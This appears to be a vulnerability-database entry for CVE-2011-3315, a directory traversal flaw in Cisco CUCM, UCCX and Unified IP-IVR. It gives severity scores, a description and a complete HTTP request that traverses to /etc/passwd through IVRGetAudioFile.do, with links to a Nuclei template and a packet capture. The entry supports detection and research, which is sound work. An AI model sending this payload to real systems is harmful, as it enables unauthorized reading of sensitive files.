| Title | Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive files and directories on the affected system. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 7.8 |
| EPSS Score | 0.76355 |
| CVE ID | CVE-2011-3315 |
| CWE ID | CWE-22 |
| Tags | cve cve2011 lfi cisco edb vkev vuln |
A directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049.
GET /ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-3315.yaml
🦈 Packet Capture: ⬇️ Download cve-2011-3315.pcap
N/AN/A